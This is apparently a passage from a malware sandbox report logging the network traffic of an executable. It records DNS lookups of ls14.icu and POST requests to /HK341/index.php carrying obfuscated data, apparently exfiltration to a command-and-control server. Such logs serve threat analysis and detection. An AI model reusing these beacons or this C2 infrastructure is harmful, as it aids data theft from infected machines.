Jan 11, 2025 06:51:00.116653919 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116664886 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116684914 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.116688013 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116702080 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116709948 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.116712093 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116730928 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.116740942 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116758108 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116761923 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.116770983 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116784096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116786957 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.116808891 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.116833925 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.116842031 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116853952 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116871119 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116888046 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116895914 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.116900921 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116928101 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.116939068 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116945028 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.116950035 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116961002 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116971016 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.116988897 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117033958 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117142916 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117153883 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117165089 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117176056 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117181063 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117188931 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117202044 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117207050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117214918 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117225885 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117232084 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117249966 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117266893 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117306948 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117320061 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117331028 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117341995 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117355108 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117364883 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117372990 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117384911 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117396116 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117398024 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117396116 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117410898 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117428064 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117451906 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117453098 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117465973 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117480040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117490053 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117491961 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117512941 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117546082 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117633104 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117644072 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117655039 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117665052 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117676973 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117680073 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117687941 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117701054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.117719889 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117753029 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.117753029 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118068933 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118109941 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118114948 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118133068 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118155956 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118164062 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118171930 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118176937 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118190050 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118217945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118217945 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118285894 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118328094 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118339062 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118350029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118360996 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118367910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118374109 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118386030 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118396044 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118400097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.118421078 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118422031 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.118458986 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.141119957 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.145996094 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.717392921 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.722402096 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.722527981 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.722656012 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.722744942 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.727575064 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.727634907 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.727639914 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.727664948 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.727693081 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.727695942 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.727706909 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.727752924 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.727761030 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.727788925 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.727838039 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.727842093 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.727864981 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.727893114 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.727914095 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.727919102 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.727936983 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.727966070 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:00.732835054 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.732847929 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.732892036 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.732902050 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.732942104 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.732952118 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:00.775554895 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:04.654912949 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:04.655045986 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:04.655093908 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:04.655284882 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:04.655359983 CET	49710	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:04.660070896 CET	80	49710	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:08.609827995 CET	49711	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:08.614892960 CET	80	49711	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:08.614974976 CET	49711	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:08.615413904 CET	49711	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:08.620309114 CET	80	49711	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:09.653635025 CET	80	49711	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:09.654130936 CET	49711	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:09.654192924 CET	80	49711	104.21.75.48	192.168.2.5
Jan 11, 2025 06:51:09.656177044 CET	49711	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:09.658128977 CET	49711	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:51:09.661030054 CET	80	49711	104.21.75.48	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:50:54.772193909 CET	58084	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:50:54.790749073 CET	53	58084	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:50:54.772193909 CET	192.168.2.5	1.1.1.1	0x2268	Standard query (0)	ls14.icu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:50:54.790749073 CET	1.1.1.1	192.168.2.5	0x2268	No error (0)	ls14.icu		104.21.75.48	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:50:54.790749073 CET	1.1.1.1	192.168.2.5	0x2268	No error (0)	ls14.icu		172.67.213.196	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ls14.icu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.75.48	80	5256	C:\Users\user\Desktop\962Zrwh5bU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:50:54.812287092 CET	274	OUT	POST /HK341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: ls14.icu Content-Length: 113 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 66 8b 30 63 8b 30 65 8b 30 6c 8b 30 67 eb 40 70 9d 32 70 9c 47 70 9d 32 16 8b 30 60 8b 30 67 8b 30 6c 8b 30 64 8b 30 6c 8b 30 6d Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10f0c0e0l0g@p2pGp20`0g0l0d0l0m
Jan 11, 2025 06:50:56.469059944 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 05:50:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: Accept-Encoding,User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BWdrtdlSHacvfSUyzNVNaWHM%2BlwDvKFpi1De9tv5zSo%2B2OLNi8XjMqUduemP14hngcNcFfN7GoffpkfQ6lfoa2jPAItfdFeQHkXl3tlnAOmOCgQG6zQMg%2B6j%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9002a1cb1d608cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2056&min_rtt=2056&rtt_var=1028&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=274&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 63 30 37 0d 0a 3f 36 90 4f 06 dd 77 1e d7 33 21 e2 50 65 dc 4f 04 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c9 68 2f e3 42 3e dc 40 06 9e 49 11 ff 73 12 ed 57 1c e4 49 03 f8 57 07 f8 49 04 fb 68 6c e9 50 00 d6 45 1f f8 7b 10 cc 31 1b 9f 61 02 f8 76 31 e6 4d 36 ed 50 3a db 67 1d c6 33 19 ed 6c 20 f4 44 6c c4 48 3c d9 72 19 c0 6b 26 cd 7a 3a e4 4e 2f ef 49 1e d9 68 21 ed 52 65 e5 50 04 c5 37 19 c4 52 67 e2 69 10 d7 4e 2c 9a 7b 1a ea 68 63 f8 55 18 e0 40 32 93 3e 69 81 60 6b 92 6d 6b 07 16 0c 82 a6 43 b3 75 f4 a5 1e 37 09 14 00 82 a8 5f f0 71 f2 a7 56 79 0a 57 48 9e e6 00 b0 66 f1 a7 09 19 3c f6 65 ac cb 30 9e 06 9d cb 33 ab 99 66 65 17 cb 30 9e 02 9d cb 33 14 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 ec 66 66 65 a1 d4 8a 90 02 29 c2 fe 75 de 67 29 62 ea 64 f6 6b ee eb 43 26 09 01 17 ce a6 10 [TRUNCATED] Data Ascii: 1c07?6Ow3!PeOHh-PVePIh9Q`U/0`I6eKH<h7N$@:fyh/B>@IsWIWIhlPE{1av1M6P:g3l DlH<rk&z:N/Ih!ReP7RgiN,{hcU@2>i`kmkCu7_qVyWHf<e03fe03ffe03Tffe03Tffe03ffe)ug)bdkC&c\ FE")5ET,9pffe0j0U1U
Jan 11, 2025 06:50:56.469103098 CET	1236	IN	Data Raw: c9 6a 03 f7 43 a5 aa 0c 9c 91 ae a1 b8 08 01 f6 31 c7 55 0c 50 f4 a8 5b cb 6a 03 f7 ff 8e 30 9e 4e 9c c9 33 d5 dc 44 c9 af cb 30 9e 02 9d cb 33 b4 66 64 44 a4 ca 3e 94 02 9b cb 33 54 62 66 65 af cb 30 9e 02 9d cb 33 54 76 66 65 af eb 30 9e 02 9d Data Ascii: jC1UP[j0N3D03fdD>3Tbfe03Tvfe0#Tvfe03^ffe03TVfe03Wf&`43Tfve03Dffe0)3Tffe03efe03Tjfe03Tffe0V3Tffe03Tffe03Tffe03Tff
Jan 11, 2025 06:50:56.469183922 CET	1236	IN	Data Raw: 31 14 08 00 c3 f8 02 b0 50 f8 aa 57 17 09 08 16 c0 a7 55 c9 02 ce ae 47 17 09 08 16 c0 a7 55 dd 76 ef a7 7b 35 08 02 09 ca b9 30 f5 67 ef a5 56 38 55 54 4b fc ae 44 dd 6d f3 b8 5c 38 03 25 11 dd a7 78 ff 6c f9 a7 56 26 66 35 00 db 88 5f f0 71 f2 Data Ascii: 1PWUGUv{50gV8UTKDm\8%xlV&f5_qVUlfH5_qVBv\:0gV8UTKYg]'gkp;gi]1UWBv\:03Tffe03Tffe03Tffe03Tffe03Tff
Jan 11, 2025 06:50:56.469209909 CET	672	IN	Data Raw: 24 66 1f 65 dd cb 59 9e 65 9d a3 33 20 66 66 65 06 cb 10 9e 4f 9d a2 33 37 66 14 65 c0 cb 43 9e 6d 9d ad 33 20 66 46 65 ec cb 5f 9e 70 9d bb 33 3b 66 14 65 ce cb 44 9e 6b 9d a4 33 3a 66 48 65 8f cb 71 9e 6e 9d a7 33 74 66 14 65 c6 cb 57 9e 6a 9d Data Ascii: $feYe3 ffeO37feCm3 fFe_p3;feDk3:fHeqn3tfeWj3'fFeUq3&feT,3jfmep33feQn3=fe^c31ffe@k31feDw3Tffe3&feEa3feU3feBm3;fe"3=fe_u3fF
Jan 11, 2025 06:50:56.469242096 CET	1236	IN	Data Raw: 39 09 08 01 9e d5 00 82 04 9e 9e 37 5e 75 73 28 c6 a8 42 f1 71 f2 ad 47 74 25 09 17 df a4 42 ff 76 f4 a4 5d 65 47 56 7a a9 c8 65 9a 01 8e d3 7e 3d 05 14 0a dc a4 56 ea 22 c9 a2 5e 31 4b 35 11 ce a6 40 be 52 de 8a 03 4a 71 6b 54 99 fb 09 ae 35 ac Data Ascii: 97^us(BqGt%Bv]eGVze~=V"^1K5@RJqkT5lSV?2eQS]j/8do`f6GVwc4R'_3=Re3a7g\:W{6W A+Cdp;Dm?dl`f;peAV@e]Qv(\T1yPW
Jan 11, 2025 06:50:56.469270945 CET	1236	IN	Data Raw: 41 2b 0f 06 dd a4 43 f1 64 e9 eb 70 3b 14 16 0a dd aa 44 f7 6d f3 fa 10 64 47 60 66 fa cf 33 8d 18 d0 a2 50 26 09 15 0a c9 bf 10 dd 6d f9 ae 13 07 0f 01 0b c6 a5 57 be 52 de 8a 03 4a 71 6b 54 98 fb 08 af 33 af fb 02 65 57 53 3f b8 c6 01 a6 32 a5 Data Ascii: A+Cdp;DmdG`f3P&mWRJqkT3eWS?2fVWTj8do`f6GVwc4R'_3=Re3a7g\:W{6W A+Cdp;Dm?dl`f;pexVye~=V"A$_2dk`lMx2Ucf
Jan 11, 2025 06:50:56.469300985 CET	1236	IN	Data Raw: 27 09 00 11 9e e6 00 b5 04 9e 9e 37 57 75 42 28 c6 a8 42 f1 71 f2 ad 47 74 34 09 0a db eb 73 fb 70 e9 a2 55 3d 05 07 11 ca eb 71 eb 76 f5 a4 41 3d 12 1f 55 b1 dc 3d af 32 ad f3 00 65 54 54 54 96 f8 02 c4 15 90 f9 03 64 5e 55 54 9d f9 02 a7 31 af Data Ascii: '7WuB(BqGt4spU=qvA=U=2eTTTd^UT1-WmU315Wv6W ^1^vDVhc4V0.fPlupSmU F%_c\:WEU3)_v\0F6^lc'Vh1I2[fV2&?:
Jan 11, 2025 06:50:56.469321966 CET	1236	IN	Data Raw: 7c 30 1c 41 1d 17 55 9f 5e 9d 75 42 ef 66 d4 67 e3 34 b4 75 ef 61 06 22 ca ab 70 d0 b2 df 27 7d b9 d5 10 1c 77 c1 04 97 6f 81 4b 02 4b 84 68 31 72 2e 91 65 e7 da db 9e 30 fe 99 35 b9 e5 4c 21 07 bc b1 d1 c1 27 41 0c 6c 58 bf 0b cb 10 13 a8 75 c8 Data Ascii: \|0AU^uBfg4ua"p'}woKKh1r.e05L!'AlXuk93;0H?>K-oHpAC0`}UB>V&P\|5c6nlWf2[`ffe,.1leuVt9$Xxg\|SoC`ll=2MpoB
Jan 11, 2025 06:50:56.469355106 CET	1236	IN	Data Raw: 64 85 10 8d 52 04 16 49 14 84 31 de 00 93 aa 82 e3 80 ca b5 f8 dd 1e 97 24 1b dc a5 03 73 29 8d db 6c 63 ad 22 83 d2 6e 51 88 16 7c ff f4 82 82 22 a1 e5 1e c3 7b 5f c1 52 49 e3 66 46 5a 1a ba 20 ed 30 c5 a8 82 1e fc 81 c6 c7 99 e0 ed 77 2b 1a fb Data Ascii: dRI1$s)lc"nQ\|"{_RIfFZ 0w+&WTy7kEl@ka2HmEal_@LSM;t"H5DA%zhUqlqh2>H,Qegk~$+DNX/%J2~o S+j
Jan 11, 2025 06:50:56.469387054 CET	1236	IN	Data Raw: a1 cd 33 cb 06 9a d8 34 06 03 02 08 c0 a5 54 af 1c ad d7 35 57 33 62 6f bc de 7d f7 61 ef a4 40 3b 00 12 45 ec a4 42 ee 6d ef aa 47 3d 09 08 54 8e fb 2f 98 01 c8 cf 30 47 7e 2b 0c cc b9 5f ed 6d fb bf 13 00 0f 0b 00 82 98 44 ff 6f ed eb 63 17 27 Data Ascii: 34T5W3bo}a@;EBmG=T/0G~+_mDoc'dv031+s0]`cN2knd~`lMx:WWmcj2SgVyJ<>UocT=5mVSV2:~.X17@jm;JZ{dsU(5]L-)<=3PgesI[{
Jan 11, 2025 06:50:56.474278927 CET	1236	IN	Data Raw: 14 c4 86 e2 b6 ff 16 d0 58 3a d2 0c 6c ea 2a b1 bd 5d fb 75 51 a3 79 8b 65 f5 f4 40 ef 2c 5d b5 32 33 be 28 42 39 75 e1 00 9e ca 33 55 c5 e4 64 d5 fb b2 9f 74 ad d4 35 57 33 7b 40 ab d3 00 88 04 97 e0 35 55 62 67 e7 98 f6 36 9f 04 95 e0 35 55 63 Data Ascii: X:l*]uQye@,]23(B9u3Udt5W3{@5Ubg65Uccb.Zbpa9G^6#1hV7c-{ V!7_ue$20bcv:6RT/gKRV0cUU6Udy`f@:pZy}Gq5W3{z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	104.21.75.48	80	5256	C:\Users\user\Desktop\962Zrwh5bU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:51:00.722656012 CET	163	OUT	POST /HK341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: ls14.icu Content-Length: 32949 Cache-Control: no-cache
Jan 11, 2025 06:51:00.722744942 CET	11124	OUT	Data Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 66 8b 30 63 8b 30 65 8b 30 6c 8b 30 67 eb 40 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10f0c0e0l0g@p2pGp20`0g0l0d0l0m&f&f&g&fm1t&1e0d0e1em!q%j&-0c0a&f&f&f&f&f&f4e:p)0e&fp3)0g0aF)1Bm@4`@x1l.aA7b@cGc
Jan 11, 2025 06:51:00.727639914 CET	1236	OUT	Data Raw: 5b 0d e3 59 1c fb 4a 05 e4 4e 13 ef 4c 03 e0 4e 0f f4 57 1a f4 44 1a f4 4c 1f fe 48 02 ed 46 13 fa 57 14 f8 56 17 ef 42 11 ef 57 0f f7 49 11 f9 50 0f eb 59 05 e2 47 01 e9 5a 16 f7 54 01 fd 47 04 fa 4a 18 f4 4b 16 e5 4e 04 e2 59 13 eb 5a 06 f7 56 Data Ascii: [YJNLNWDLHFWVBWIPYGZTGJKNYZVEZMHYAOGKHRHWJMSTSHGNTATPNJUHIZDADAROKSGTLJ[KHEANRPMB
Jan 11, 2025 06:51:00.727695942 CET	3708	OUT	Data Raw: 56 14 e4 51 1a e8 5b 02 f6 5a 07 e9 50 17 e3 47 01 f6 45 10 e3 41 0f eb 4e 16 f7 41 19 e0 51 11 e4 41 02 ec 4c 16 fb 4e 19 fd 4c 19 e0 56 05 fa 46 01 e9 40 0c f9 51 1a ef 40 0c ff 50 13 f6 41 02 e0 4b 12 f9 53 1f f8 52 1b f9 42 02 e5 56 03 e7 50 Data Ascii: VQ[ZPGEANAQALNLVF@Q@PAKSRBVPKLKDJDVNNK[[WJVFLKLUPGDEZZQHLIJQAWT@VFI@KM@IHFIPALAQG
Jan 11, 2025 06:51:00.727706909 CET	1236	OUT	Data Raw: 4a 14 e5 53 16 f4 46 10 e0 5b 03 e2 57 1e f7 53 1e fc 4c 0f fe 47 10 ec 45 1b ef 49 1a f8 40 1b eb 5b 04 e4 45 00 e6 52 16 e3 4f 1b e6 44 18 fc 49 1f e7 53 19 e1 4e 02 e8 54 1f e5 48 0d fd 57 07 e6 54 13 f8 4f 03 ff 53 10 e3 45 17 e2 47 01 fd 40 Data Ascii: JSF[WSLGEI@[ERODISNTHWTOSEG@[IGZDFGFWKFNYGYFMVRIIYQJBBITWKGFHNVWTPF[@[RN@WSITQDBI
Jan 11, 2025 06:51:00.727752924 CET	2472	OUT	Data Raw: 57 1f ed 48 04 fe 46 16 f8 46 10 e9 4d 01 e2 49 02 f4 4c 1e e6 50 1e f4 51 1b e2 49 10 ea 52 19 eb 52 1b fc 54 1c f7 4f 06 f6 4b 06 e0 55 12 e8 57 16 ea 49 1a e8 49 06 fd 44 14 e0 59 13 ed 45 06 fa 47 00 fe 5a 17 ed 40 14 fe 52 02 f8 55 03 e6 54 Data Ascii: WHFFMILPQIRRTOKUWIIDYEGZ@RUTBUMRLZL[@PGML@KJLHOYOBGH@D[U@QSV@BNBWSNETWAD[OQBMUBOU
Jan 11, 2025 06:51:00.727842093 CET	4944	OUT	Data Raw: 59 1a ec 48 1a e4 48 06 e3 59 10 fc 5a 1a f7 41 1b e3 47 06 f7 56 05 e6 45 11 fe 56 0d e1 4e 1e ed 5a 1b fd 46 17 e4 4b 1f f8 5b 06 f9 57 1c e3 41 11 e2 53 02 f7 4e 0c e3 52 1e f7 4a 16 fe 52 10 f9 4e 0c ea 56 18 f7 49 07 fd 55 04 e6 47 10 eb 4f Data Ascii: YHHYZAGVEVNZFK[WASNRJRNVIUGOLZYMIRWHIIDU[JRISQRHPMNTNJMQAZL[BTFIFSWRIM[RLFRABBTDW
